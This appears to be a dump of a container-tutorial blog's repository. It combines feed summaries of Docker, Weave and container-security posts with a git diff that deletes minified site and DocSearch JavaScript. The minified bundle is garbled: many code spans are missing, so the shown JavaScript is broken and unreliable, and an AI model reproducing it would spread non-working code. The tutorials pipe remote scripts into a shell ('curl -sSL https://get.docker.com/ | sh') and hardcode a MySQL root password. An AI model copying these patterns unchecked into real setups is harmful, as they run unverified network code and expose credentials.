https://kubedaily.com/containersecurity/scanning-docker-for-vulnerabilities-with-thraetmappeper/ - Orignally published on CloudNativeFolks -ThreatMapper -ThreatMapper hunts for threats in your production platforms, and ranks these threats based on their risk-of-exploit. It uncovers vulnerable software components, exposed secrets and deviations from good security practice. ThreatMapper uses a combination of agent-based inspection and agent-less monitoring to provide the widest possible coverage to detect threats. -ThreatMapper carries on the good &lsquo;shift left&rsquo; security practices that you already employ in your development pipelines. It continues to monitor running applications against emerging software vulnerabilities and monitors the host and cloud configuration against industry-expert benchmarks. - - - SecretScanner - Finding secrets and passwords in container images and file systems - https://kubedaily.com/containersecurity/secretscanner-finding-secrets-and-passwords-in-container-images-and-file-systems/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/secretscanner-finding-secrets-and-passwords-in-container-images-and-file-systems/ - Published on CloudNativeFolks -One of most common mistake is leaking Secrets via docker images or file system in this blogpost we will use Deepfence&rsquo;s Open Source Project SecretScanner -few days back I found this interesting tweet discussion from cybersecurity community members ! -here you see article around Uber security incidence -%[https://www.uber.com/newsroom/security-update/] -lets understand why secret scanner help you securing your container images and file system -If you see DockerHub most of images and public and thousands of secrets leaked over the year - - - Security Linting of Dockerfiles - https://kubedaily.com/containersecurity/security-linting-of-dockerfiles/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/security-linting-of-dockerfiles/ - hadolint Hadolint comes with a robust and easy to use CLI. You can install it on a variety of platforms, including macOS using brew install hadolint. -Confirm the installation was successful with the following command: -$ hadolint --help hadolint - Dockerfile Linter written in Haskell We’ll use the following Dockerfile as an example, which can be used to run a Python Django web server. On the surface, it looks fine but we’ll see it has a lot of problems. - - - Service Type - NodePort,ClusterIP,LoadBalancer - https://kubedaily.com/k8s/service-type-nodeportclusteriploadbalancer/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/k8s/service-type-nodeportclusteriploadbalancer/ - Service Type1: NodePort NodePort service helps expose the Service on each Node’s IP at a static port (the NodePort). NodePort The port is available to all the workers in the cluster. A ClusterIP Service, to which the NodePort Service routes are automatically created. One would be able to contact the NodePort Service, from outside the cluster, by requesting :. The port on the POD is called the targetPort and the one connecting the NodePort service to the POD is called port. - - - Setup local network - https://kubedaily.com/docker/setup-local-network/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/setup-local-network/ - Docker network create command syntax docker network create --help view current networks docker network ls clear Create a new overlay network, with all default options docker network create -d overlay defaults-over Create a new overlay network with specific IP settings docker network create -d overlay \ --subnet=172.30.0.0/24 \ --ip-range=172.30.0.0/28 \ --gateway=172.30.0.254 \ specifics-over view current networks again docker network ls Initial validation docker network inspect specifics-over --format &#39;{{json .IPAM.Config}}&#39; | jq clear - - - Setup Remote network - https://kubedaily.com/docker/setup-remote-network/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/setup-remote-network/ - Docker network managment command docker network --help clear Starting on ubuntu-node01: Install and setup the weave driver sudo curl -L git.io/weave -o /usr/local/bin/weave sudo chmod a+x /usr/local/bin/weave export CHECKPOINT_DISABLE=1 weave launch eval $(weave env) clear -Now on ubuntu-node02: Install and setup the weave driver sudo curl -L git.io/weave -o /usr/local/bin/weave sudo chmod a+x /usr/local/bin/weave export CHECKPOINT_DISABLE=1 weave launch eval $(weave env) clear -Now, back on ubuntu-node01:Bring node02 in as a peer on node01&rsquo;s weave network weave connect ubuntu-node02 Starting with ubuntu-node01:Run a container detached on node01 docker container run -d --name app01 alpine tail -f /dev/null Now, launch a container on ubuntu-node02: Run a container detached on node02 docker container run -d --name app02 alpine tail -f /dev/null Since we are on node02, we will check there first&hellip; From inside the app02 container running on node02, let&rsquo;s ping the app01 container running on node01 docker container exec -it app02 ping -c 4 app01 Similarly, from inside the app01 container running on node01, let&rsquo;s ping the app02 container running on node02 docker container exec -it app01 ping -c 4 app02 clear - - - Simple php apache and database using docker compose - https://kubedaily.com/docker/simple-php-apache-and-database-using-docker-compose/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/simple-php-apache-and-database-using-docker-compose/ - we will see detach form logs upon start and user multiservices in one docker container -version: &#39;3&#39; services: phpapp: build: context: ./ dockerfile: Dockerfile image: phpapp:123 ports: - &#34;8080:80&#34; volumes: - &#34;./:/var/www/html&#34; container_name: myphpapp-app db: image: mysql:5.7 restart: always environment: MYSQL_ROOT_PASSWORD: my!!!root!!!pw container_name: myphpapp-db here you see two services phpapp and myphpapp-app and image called phpapp with 123 tag -another service called db form mysql this container restarts always which means it crashes ? - - - Sock Shop Docker Compose and Weave - https://kubedaily.com/containersecurity/sock-shop-docker-compose-and-weave/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/sock-shop-docker-compose-and-weave/ - Sock Shop Docker Compose &amp; Weave -Pre-requisites Install Docker Install Weave Scope Install Weave Net -git clone https://github.com/microservices-demo/microservices-demo cd microservices-demo curl -sSL https://get.docker.com/ | sh apt-get install -yq python-pip build-essential python-dev pip install docker-compose curl -L git.io/weave -o /usr/local/bin/weave chmod a+x /usr/local/bin/weave Launch Weave Scope -sudo curl -L git.io/scope -o /usr/local/bin/scope sudo chmod a+x /usr/local/bin/scope scope launch Weave launch -weave launch docker-compose -f deploy/docker-compose-weave/docker-compose.yml up -d - - - Static Analysis of container images library for container - https://kubedaily.com/containersecurity/static-analysis-of-container-images-library-for-container/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/static-analysis-of-container-images-library-for-container/ - Packetstreamer SBOM and vulnerability scanner for container images -https://github.com/deepfence/package-scanner -Download binary -package-scanner_Darwin_arm64.tar.gz package-scanner_Darwin_x86_64.tar.gz package-scanner_Linux_arm64.tar.gz package-scanner_Linux_x86_64.tar.gz package-scanner_darwin_amd64_v1 package-scanner_darwin_arm64 package-scanner_linux_amd64_v1 package-scanner_linux_arm64 ClI usage -scan a docker image for vulnerabilities -./package-scannner -source nginx:latest Scan a docker images , filter for critical vulnerabilities -./package-scanner -source nginx:latest -severity critical Scan a docker images with CVEs -./package-scanner -source nginx:latest INFO[2023-01-06T15:10:15+05:30] autodetect.go:91 trying to connect to endpoint &#39;unix:///var/run/docker.sock&#39; with timeout &#39;10s&#39; INFO[2023-01-06T15:10:15+05:30] autodetect.go:116 connected successfully using endpoint: unix:///var/run/docker. - - - What is container? - https://kubedaily.com/containersecurity/what-is-container/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/containersecurity/what-is-container/ - what is container ? -A container is full package (or) grouping of an entire runtime enviroment of an application ncluding its binaries, the runtime to run the application, System related tools, System libraries, Settings, and configurations. thats the defination come to mind when you learn ? to better understanding we need to go back to Operating Syatem basics and how its work -when a program?process is running on your computer it gives a call to kernel using SystemCall End Point whatever it needs to access any of the - - - Write First Docker Compose file - https://kubedaily.com/docker/write-first-docker-compose-file/ - Mon, 01 Jan 0001 00:00:00 +0000 - https://kubedaily.com/docker/write-first-docker-compose-file/ - cat Dockerfile -FROM php:7.2-apache COPY index.php /var/www/html add index.php file -&lt;?php echo &#34;hello world \n\n&#34;; creat docker-compose.yaml -version: &#39;3&#39; services: phpapp: ports: - &#34;8080:80&#34; build: context: ./ dockerfile: Dockerfile to run docker compose -docker compose up --build output -1-DC git:(main) ✗ docker compose up [+] Building 21.2s (10/10) FINISHED =&gt; [internal] booting buildkit 3.8s =&gt; =&gt; pulling image moby/buildkit:buildx-stable-1 2.8s =&gt; =&gt; creating container buildx_buildkit_great_brahmagupta0 1.1s =&gt; [internal] load build definition from Dockerfile 0. - - - diff --git a/public/js/base.min.js b/public/js/base.min.js deleted file mode 100644 index d85f858..0000000 --- a/public/js/base.min.js +++ /dev/null @@ -1 +0,0 @@ -const dropdowns=document.querySelectorAll(".dropdown"),dropdownOpenSelector=".dropdown-menu.show";dropdowns.forEach(e=>{e.addEventListener("click",function(){const n=e.querySelector(".dropdown-menu.show");document.querySelectorAll(dropdownOpenSelector).forEach(e=>e.classList.remove("show")),n||e.querySelector(".dropdown-menu").classList.toggle("show")})}),document.body.addEventListener("click",function(e){const t=e.target.closest(".dropdown");t||document.querySelectorAll(dropdownOpenSelector).forEach(e=>e.classList.remove("show"))});const lsKeyColorPreference="color-preference",lsKeyColorPreferenceDarkVariant="color-preference-dark-variant",getColorPreference=()=>{let e=localStorage.getItem(lsKeyColorPreference);return e!==null?e:window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light"};let colorPreference=getColorPreference();document.firstElementChild.setAttribute("data-color",colorPreference);const getColorPreferenceDarkVariant=()=>{let e=localStorage.getItem(lsKeyColorPreferenceDarkVariant);return e!==null?e:"dark"};let colorPreferenceDarkVariant=getColorPreferenceDarkVariant(),colorSchemes=document.querySelectorAll(".color-scheme");colorSchemes.forEach(e=>{e.addEventListener("click",function(){let t=e.dataset.value;t!==colorPreference&&(colorPreference=t,setColorPreference(),(t==="dark"||t==="night")&&(colorPreferenceDarkVariant=t,localStorage.setItem(lsKeyColorPreferenceDarkVariant,colorPreferenceDarkVariant)))})});const setColorPreference=()=>{localStorage.setItem(lsKeyColorPreference,colorPreference),document.firstElementChild.setAttribute("data-color",colorPreference)};window.matchMedia("(prefers-color-scheme: dark)").addEventListener("change",({matches:e})=>{colorPreference=e?colorPreferenceDarkVariant:"light",setColorPreference()});const body=document.body,btnArticleNavMenu=document.querySelector("#article-nav-menu-btn");btnArticleNavMenu&&btnArticleNavMenu.addEventListener("click",function(){body.classList.add("offcanvas-sidebar-on")});const btnArticleNavToc=document.querySelector("#article-nav-toc-btn");btnArticleNavToc&&btnArticleNavToc.addEventListener("click",function(){body.classList.add("offcanvas-toc-on")});const btnCloseArticleNavMenu=document.querySelector("#sidebar .btn-close");btnCloseArticleNavMenu&&btnCloseArticleNavMenu.addEventListener("click",function(){body.classList.remove("offcanvas-sidebar-on")});const btnCloseArticleNavToc=document.querySelector("#toc .btn-close");if(btnCloseArticleNavToc){btnCloseArticleNavToc.addEventListener("click",function(){body.classList.remove("offcanvas-toc-on")});const e=document.querySelectorAll("#toc ul a");e.forEach(e=>{e.addEventListener("click",function(){body.classList.remove("offcanvas-toc-on")})})}body.addEventListener("click",e=>{const t=e.target.closest("#article-nav-menu-btn"),n=e.target.closest("#sidebar");!t&&!n&&body.classList.contains("offcanvas-sidebar-on")&&body.classList.remove("offcanvas-sidebar-on");const s=e.target.closest("#article-nav-toc-btn"),o=e.target.closest("#toc");!s&&!o&&body.classList.contains("offcanvas-toc-on")&&body.classList.remove("offcanvas-toc-on")});const fromDesktop=window.matchMedia("(min-width: 1280px)"),sidebarSticky=document.querySelector("#sidebar .sticky");fromDesktop&&sidebarSticky&&window.addEventListener("scroll",function(){document.body.scrollTop>80||document.documentElement.scrollTop>80?(sidebarSticky.style.top="20px",sidebarSticky.style.bottom="65px"):(sidebarSticky.style.top=null,sidebarSticky.style.bottom=null)});const fromLargeTablet=window.matchMedia("(min-width: 1024px)"),tocSticky=document.querySelector("#toc .sticky");fromLargeTablet&&tocSticky&&window.addEventListener("scroll",function(){document.body.scrollTop>80||document.documentElement.scrollTop>80?(tocSticky.style.top="20px",tocSticky.style.bottom="65px"):(tocSticky.style.top=null,tocSticky.style.bottom=null)}),"IntersectionObserver"in window&&document.addEventListener("DOMContentLoaded",function(){const n=document.querySelectorAll("#TableOfContents a");let e=null;const t={},s=new IntersectionObserver(n=>{n.forEach(n=>{n.isIntersecting&&(e&&e.classList.remove("active"),e=t[n.target.id],e&&e.classList.add("active"))})},{rootMargin:`0% 0% -80% 0%`});n.forEach(e=>{const n=e.getAttribute("href")?e.getAttribute("href").slice(1):null;if(n){const o=document.getElementById(n);o&&(t[n]=e,s.observe(o))}})}) \ No newline at end of file diff --git a/public/js/component/docsearch.min.js b/public/js/component/docsearch.min.js deleted file mode 100644 index 9a7413d..0000000 --- a/public/js/component/docsearch.min.js +++ /dev/null @@ -1,3 +0,0 @@ -/*! @docsearch/js 3.2.0 | MIT License | © Algolia, Inc. and contributors | https://docsearch.algolia.com | https://cdn.jsdelivr.net/npm/@docsearch/js@3 */ -!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e=e||self).docsearch=t()}(this,(function(){"use strict";function e(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function t(t){for(var n=1;n=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}function i(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,c=[],i=!0,a=!1;try{for(n=n.call(e);!(i=(r=n.next()).done)&&(c.push(r.value),!t||c.length!==t);i=!0);}catch(e){a=!0,o=e}finally{try{i||null==n.return||n.return()}finally{if(a)throw o}}return c}(e,t)||u(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function a(e){return function(e){if(Array.isArray(e))return l(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||u(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function u(e,t){if(e){if("string"==typeof e)return l(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);return"Object"===n&&e.constructor&&(n=e.constructor.name),"Map"===n||"Set"===n?Array.from(e):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?l(e,t):void 0}}function l(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n3)for(n=[n],c=3;c0?O(m.type,m.props,m.key,null,m.__v):m)){if(m.__=n,m.__b=n.__b+1,null===(p=b[s])||p&&m.key==p.key&&m.type===p.type)b[s]=void 0;else for(f=0;f3)for(n=[n],c=3;c=n.__.length&&n.__.push({}),n.__[e]}function ne(e){return $=1,re(pe,e)}function re(e,t,n){var r=te(W++,2);return r.t=e,r.__c||(r.__=[n?n(t):pe(void 0,t),function(e){var t=r.t(r.__[0],e);r.__[0]!==t&&(r.__=[t,r.__[1]],r.__c.setState({}))}],r.__c=K),r.__}function oe(e,t){var n=te(W++,3);!s.__s&&fe(n.__H,t)&&(n.__=e,n.__H=t,K.__H.__h.push(n))}function ce(e,t){var n=te(W++,4);!s.__s&&fe(n.__H,t)&&(n.__=e,n.__H=t,K.__h.push(n))}function ie(e,t){var n=te(W++,7);return fe(n.__H,t)&&(n.__=e(),n.__H=t,n.__h=e),n.__}function ae(){Q.forEach((function(e){if(e.__P)try{e.__H.__h.forEach(le),e.__H.__h.forEach(se),e.__H.__h=[]}catch(t){e.__H.__h=[],s.__e(t,e.__v)}})),Q=[]}s.__b=function(e){K=null,Y&&Y(e)},s.__r=function(e){G&&G(e),W=0;var t=(K=e.__c).__H;t&&(t.__h.forEach(le),t.__h.forEach(se),t.__h=[])},s.diffed=function(e){Z&&Z(e);var t=e.__c;t&&t.__H&&t.__H.__h.length&&(1!==Q.push(t)&&J===s.requestAnimationFrame||((J=s.requestAnimationFrame)||function(e){var t,n=function(){clearTimeout(r),ue&&cancelAnimationFrame(t),setTimeout(e)},r=setTimeout(n,100);ue&&(t=requestAnimationFrame(n))})(ae)),K=void 0},s.__c=function(e,t){t.some((function(e){try{e.__h.forEach(le),e.__h=e.__h.filter((function(e){return!e.__||se(e)}))}catch(n){t.some((function(e){e.__h&&(e.__h=[])})),t=[],s.__e(n,e.__v)}})),X&&X(e,t)},s.unmount=function(e){ee&&ee(e);var t=e.__c;if(t&&t.__H)try{t.__H.__.forEach(le)}catch(e){s.__e(e,t.__v)}};var ue="function"==typeof requestAnimationFrame;function le(e){var t=K;"function"==typeof e.__c&&e.__c(),K=t}function se(e){var t=K;e.__c=e.__(),K=t}function fe(e,t){return!e||e.length!==t.length||t.some((function(t,n){return t!==e[n]}))}function pe(e,t){return"function"==typeof t?t(e):t}function me(e,t){for(var n in t)e[n]=t[n];return e}function de(e,t){for(var n in e)if("__source"!==n&&!(n in t))return!0;for(var r in t)if("__source"!==r&&e[r]!==t[r])return!0;return!1}function he(e){this.props=e}(he.prototype=new E).isPureReactComponent=!0,he.prototype.shouldComponentUpdate=function(e,t){return de(this.props,e)||de(this.state,t)};var ve=s.__b;s.__b=function(e){e.type&&e.type.__f&&e.ref&&(e.props.ref=e.ref,e.ref=null),ve&&ve(e)};var ye="undefined"!=typeof Symbol&&Symbol.for&&Symbol.for("react.forward_ref")||3911;var _e=function(e,t){return null==e?null:C(C(e).map(t))},be={map:_e,forEach:_e,count:function(e){return e?C(e).length:0},only:function(e){var t=C(e);if(1!==t.length)throw"Children.only";return t[0]},toArray:C},ge=s.__e;function Oe(){this.__u=0,this.t=null,this.__b=null}function Se(e){var t=e.__.__c;return t&&t.__e&&t.__e(e)}function Ee(){this.u=null,this.o=null}s.__e=function(e,t,n){if(e.then)for(var r,o=t;o=o.__;)if((r=o.__c)&&r.__c)return null==t.__e&&(t.__e=n.__e,t.__k=n.__k),r.__c(e,t);ge(e,t,n)},(Oe.prototype=new E).__c=function(e,t){var n=t.__c,r=this;null==r.t&&(r.t=[]),r.t.push(n);var o=Se(r.__v),c=!1,i=function(){c||(c=!0,n.componentWillUnmount=n.__c,o?o(a):a())};n.__c=n.componentWillUnmount,n.componentWillUnmount=function(){i(),n.__c&&n.__c()};var a=function(){if(!--r.__u){if(r.state.__e){var e=r.state.__e;r.__v.__k[0]=function e(t,n,r){return t&&(t.__v=null,t.__k=t.__k&&t.__k.map((function(t){return e(t,n,r)})),t.__c&&t.__c.__P===n&&(t.__e&&r.insertBefore(t.__e,t.__d),t.__c.__e=!0,t.__c.__P=r)),t}(e,e.__c.__P,e.__c.__O)}var t;for(r.setState({__e:r.__b=null});t=r.t.pop();)t.forceUpdate()}},u=!0===t.__h;r.__u++||u||r.setState({__e:r.__b=r.__v.__k[0]}),e.then(i,i)},Oe.prototype.componentWillUnmount=function(){this.t=[]},Oe.prototype.render=function(e,t){if(this.__b){if(this.__v.__k){var n=document.createElement("div"),r=this.__v.__k[0].__c;this.__v.__k[0]=function e(t,n,r){return t&&(t.__c&&t.__c.__H&&(t.__c.__H.__.forEach((function(e){"function"==typeof e.__c&&e.__c()})),t.__c.__H=null),null!=(t=me({},t)).__c&&(t.__c.__P===r&&(t.__c.__P=n),t.__c=null),t.__k=t.__k&&t.__k.map((function(t){return e(t,n,r)}))),t}(this.__b,n,r.__O=r.__P)}this.__b=null}var o=t.__e&&g(S,null,e.fallback);return o&&(o.__h=null),[g(S,null,t.__e?null:e.children),o]};var we=function(e,t,n){if(++n[1]===n[0]&&e.o.delete(t),e.props.revealOrder&&("t"!==e.props.revealOrder[0]||!e.o.size))for(n=e.u;n;){for(;n.length>3;)n.pop()();if(n[1]>>1,1),t.i.removeChild(e)}}),B(g(je,{context:t.context},e.__v),t.l)):t.l&&t.componentWillUnmount()}function Ie(e,t){return g(Pe,{__v:e,i:t})}(Ee.prototype=new E).__e=function(e){var t=this,n=Se(t.__v),r=t.o.get(e);return r[0]++,function(o){var c=function(){t.props.revealOrder?(r.push(o),we(t,e,r)):o()};n?n(c):c()}},Ee.prototype.render=function(e){this.u=null,this.o=new Map;var t=C(e.children);e.revealOrder&&"b"===e.revealOrder[0]&&t.reverse();for(var n=t.length;n--;)this.o.set(t[n],this.u=[1,0,this.u]);return e.children},Ee.prototype.componentDidUpdate=Ee.prototype.componentDidMount=function(){var e=this;this.o.forEach((function(t,n){we(e,n,t)}))};var ke="undefined"!=typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103,De=/^(?:accent|alignment|arabic|baseline|cap|clip(?!PathU)|color|fill|flood|font|glyph(?!R)|horiz|marker(?!H|W|U)|overline|paint|stop|strikethrough|stroke|text(?!L)|underline|unicode|units|v|vector|vert|word|writing|x(?!C))[A-Z]/,Ce=function(e){return("undefined"!=typeof Symbol&&"symbol"==n(Symbol())?/fil|che|rad/i:/fil|che|ra/i).test(e)};function Ae(e,t,n){return null==t.__k&&(t.textContent=""),B(e,t),"function"==typeof n&&n(),e?e.__c:null}E.prototype.isReactComponent={},["componentWillMount","componentWillReceiveProps","componentWillUpdate"].forEach((function(e){Object.defineProperty(E.prototype,e,{configurable:!0,get:function(){return this["UNSAFE_"+e]},set:function(t){Object.defineProperty(this,e,{configurable:!0,writable:!0,value:t})}})}));var xe=s.event;function Ne(){}function Re(){return this.cancelBubble}function Te(){return this.defaultPrevented}s.event=function(e){return xe&&(e=xe(e)),e.persist=Ne,e.isPropagationStopped=Re,e.isDefaultPrevented=Te,e.nativeEvent=e};var Le,qe={configurable:!0,get:function(){return this.class}},Me=s.vnode;s.vnode=function(e){var t=e.type,n=e.props,r=n;if("string"==typeof t){for(var o in r={},n){var c=n[o];"value"===o&&"defaultValue"in n&&null==c||("defaultValue"===o&&"value"in n&&null==n.value?o="value":"download"===o&&!0===c?c="":/ondoubleclick/i.test(o)?o="ondblclick":/^onchange(textarea|input)/i.test(o+t)&&!Ce(n.type)?o="oninput":/^on(Ani|Tra|Tou|BeforeInp)/.test(o)?o=o.toLowerCase():De.test(o)?o=o.replace(/[A-Z0-9]/,"-$&").toLowerCase():null===c&&(c=void 0),r[o]=c)}"select"==t&&r.multiple&&Array.isArray(r.value)&&(r.value=C(n.children).forEach((function(e){e.props.selected=-1!=r.value.indexOf(e.props.value)}))),"select"==t&&null!=r.defaultValue&&(r.value=C(n.children).forEach((function(e){e.props.selected=r.multiple?-1!=r.defaultValue.indexOf(e.props.value):r.defaultValue==e.props.value}))),e.props=r}t&&n.class!=n.className&&(qe.enumerable="className"in n,null!=n.className&&(r.class=n.className),Object.defineProperty(r,"className",qe)),e.$$typeof=ke,Me&&Me(e)};var He=s.__r;s.__r=function(e){He&&He(e),Le=e.__c};var Ue={ReactCurrentDispatcher:{current:{readContext:function(e){return Le.__n[e.__c].props.value}}}};"object"==("undefined"==typeof performance?"undefined":n(performance))&&"function"==typeof performance.now&&performance.now.bind(performance);function Fe(e){return!!e&&e.$$typeof===ke}var Be={useState:ne,useReducer:re,useEffect:oe,useLayoutEffect:ce,useRef:function(e){return $=5,ie((function(){return{current:e}}),[])},useImperativeHandle:function(e,t,n){$=6,ce((function(){"function"==typeof e?e(t()):e&&(e.current=t())}),null==n?n:n.concat(e))},useMemo:ie,useCallback:function(e,t){return $=8,ie((function(){return e}),t)},useContext:function(e){var t=K.context[e.__c],n=te(W++,9);return n.__c=e,t?(null==n.__&&(n.__=!0,t.sub(K)),t.props.value):e.__},useDebugValue:function(e,t){s.useDebugValue&&s.useDebugValue(t?t(e):e)},version:"16.8.0",Children:be,render:Ae,hydrate:function(e,t,n){return V(e,t),"function"==typeof n&&n(),e?e.__c:null},unmountComponentAtNode:function(e){return!!e.__k&&(B(null,e),!0)},createPortal:Ie,createElement:g,createContext:function(e,t){var n={__c:t="__cC"+d++,__:e,Consumer:function(e,t){return e.children(t)},Provider:function(e){var n,r;return this.getChildContext||(n=[],(r={})[t]=this,this.getChildContext=function(){return r},this.shouldComponentUpdate=function(e){this.props.value!==e.value&&n.some(P)},this.sub=function(e){n.push(e);var t=e.componentWillUnmount;e.componentWillUnmount=function(){n.splice(n.indexOf(e),1),t&&t.call(e)}}),e.children}};return n.Provider.__=n.Consumer.contextType=n},createFactory:function(e){return g.bind(null,e)},cloneElement:function(e){return Fe(e)?z.apply(null,arguments):e},createRef:function(){return{current:null}},Fragment:S,isValidElement:Fe,findDOMNode:function(e){return e&&(e.base||1===e.nodeType&&e)||null},Component:E,PureComponent:he,memo:function(e,t){function n(e){var n=this.props.ref,r=n==e.ref;return!r&&n&&(n.call?n(null):n.current=null),t?!t(this.props,e)||!r:de(this.props,e)}function r(t){return this.shouldComponentUpdate=n,g(e,t)}return r.displayName="Memo("+(e.displayName||e.name)+")",r.prototype.isReactComponent=!0,r.__f=!0,r},forwardRef:function(e){function t(t,r){var o=me({},t);return delete o.ref,e(o,(r=t.ref||r)&&("object"!=n(r)||"current"in r)?r:null)}return t.$$typeof=ye,t.render=t,t.prototype.isReactComponent=t.__f=!0,t.displayName="ForwardRef("+(e.displayName||e.name)+")",t},unstable_batchedUpdates:function(e,t){return e(t)},StrictMode:S,Suspense:Oe,SuspenseList:Ee,lazy:function(e){var t,n,r;function o(o){if(t||(t=e()).then((function(e){n=e.default||e}),(function(e){r=e})),r)throw r;if(!n)throw t;return g(n,o)}return o.displayName="Lazy",o.__f=!0,o},__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED:Ue};function Ve(){return Be.createElement("svg",{width:"15",height:"15",className:"DocSearch-Control-Key-Icon"},Be.createElement("path",{d:"M4.505 4.496h2M5.505 5.496v5M8.216 4.496l.055 5.993M10 7.5c.333.333.5.667.5 1v2M12.326 4.5v5.996M8.384 4.496c1.674 0 2.116 0 2.116 1.5s-.442 1.5-2.116 1.5M3.205 9.303c-.09.448-.277 1.21-1.241 1.203C1 10.5.5 9.513.5 8V7c0-1.57.5-2.5 1.464-2.494.964.006 1.134.598 1.24 1.342M12.553 10.5h1.953",strokeWidth:"1.2",stroke:"currentColor",fill:"none",strokeLinecap:"square"}))}function ze(){return Be.createElement("i",{className:"icon icon-search DocSearch-Search-Icon"})}var We=["translations"];function Ke(){return Ke=Object.assign||function(e){for(var t=1;te.length)&&(t=e.length);for(var n=0,r=new Array(t);n=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var Ye="Ctrl";var Ge=Be.forwardRef((function(e,t){var n=e.translations,r=void 0===n?{}:n,o=Qe(e,We),c=r.buttonText,i=void 0===c?"Search":c,a=r.buttonAriaLabel,u=void 0===a?"Search":a,l=Je(ne(null),2),s=l[0],f=l[1];return oe((function(){"undefined"!=typeof navigator&&(/(Mac|iPhone|iPod|iPad)/i.test(navigator.platform)?f("⌘"):f(Ye))}),[]),Be.createElement("button",Ke({type:"button",className:"DocSearch DocSearch-Button","aria-label":u},o,{ref:t}),Be.createElement("span",{className:"DocSearch-Button-Container"},Be.createElement(ze,null),Be.createElement("span",{className:"DocSearch-Button-Placeholder"},i)),Be.createElement("span",{className:"DocSearch-Button-Keys"},null!==s&&Be.createElement(Be.Fragment,null,Be.createElement("kbd",{className:"DocSearch-Button-Key"},s===Ye?Be.createElement(Ve,null):s),Be.createElement("kbd",{className:"DocSearch-Button-Key"},"K"))))}));function Ze(e){return e.reduce((function(e,t){return e.concat(t)}),[])}var Xe=0;function et(e){return 0===e.collections.length?0:e.collections.reduce((function(e,t){return e+t.items.length}),0)}var tt=function(){},nt=[{segment:"autocomplete-core",version:"1.7.1"}];function rt(e,t){var n=t;return{then:function(t,r){return rt(e.then(ct(t,n,e),ct(r,n,e)),n)},catch:function(t){return rt(e.catch(ct(t,n,e)),n)},finally:function(t){return t&&n.onCancelList.push(t),rt(e.finally(ct(t&&function(){return n.onCancelList=[],t()},n,e)),n)},cancel:function(){n.isCanceled=!0;var e=n.onCancelList;n.onCancelList=[],e.forEach((function(e){e()}))},isCanceled:function(){return!0===n.isCanceled}}}function ot(e){return rt(e,{isCanceled:!1,onCancelList:[]})}function ct(e,t,n){return e?function(n){return t.isCanceled?n:e(n)}:n}function it(e,t,n,r){if(!n)return null;if(e<0&&(null===t||null!==r&&0===t))return n+e;var o=(null===t?-1:t)+e;return o<=-1||o>=n?null===r?null:0:o}function at(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function ut(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function lt(e,t){var n=[];return Promise.resolve(e(t)).then((function(e){return Promise.all(e.filter((function(e){return Boolean(e)})).map((function(e){if(e.sourceId,n.includes(e.sourceId))throw new Error("[Autocomplete] The `sourceId` ".concat(JSON.stringify(e.sourceId)," is not unique."));n.push(e.sourceId);var t=function(e){for(var t=1;te.length)&&(t=e.length);for(var n=0,r=new Array(t);ne.length)&&(t=e.length);for(var n=0,r=new Array(t);n=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var Vt,zt,Wt,Kt=null,Jt=(Vt=-1,zt=-1,Wt=void 0,function(e){var t=++Vt;return Promise.resolve(e).then((function(e){return Wt&&t=0||(o[n]=e[n]);return o}(e,t);if(Object.getOwnPropertySymbols){var c=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(o[n]=e[n])}return o}var en=["props","refresh","store"],tn=["inputElement","formElement","panelElement"],nn=["inputElement"],rn=["inputElement","maxLength"],on=["item","source"];function cn(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function an(e){for(var t=1;t=0||(o[n]=e[n]);return 